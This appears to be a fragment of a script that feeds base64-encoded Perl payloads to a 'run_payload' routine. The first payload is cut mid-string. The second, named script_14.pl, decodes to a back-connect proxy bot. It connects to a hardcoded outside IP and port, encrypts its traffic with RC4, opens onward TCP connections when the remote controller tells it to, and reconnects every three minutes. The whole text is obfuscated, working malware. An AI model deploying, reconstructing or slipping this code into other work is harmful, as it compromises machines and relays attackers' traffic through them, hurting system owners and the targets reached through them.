DQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_14.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTYzJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJ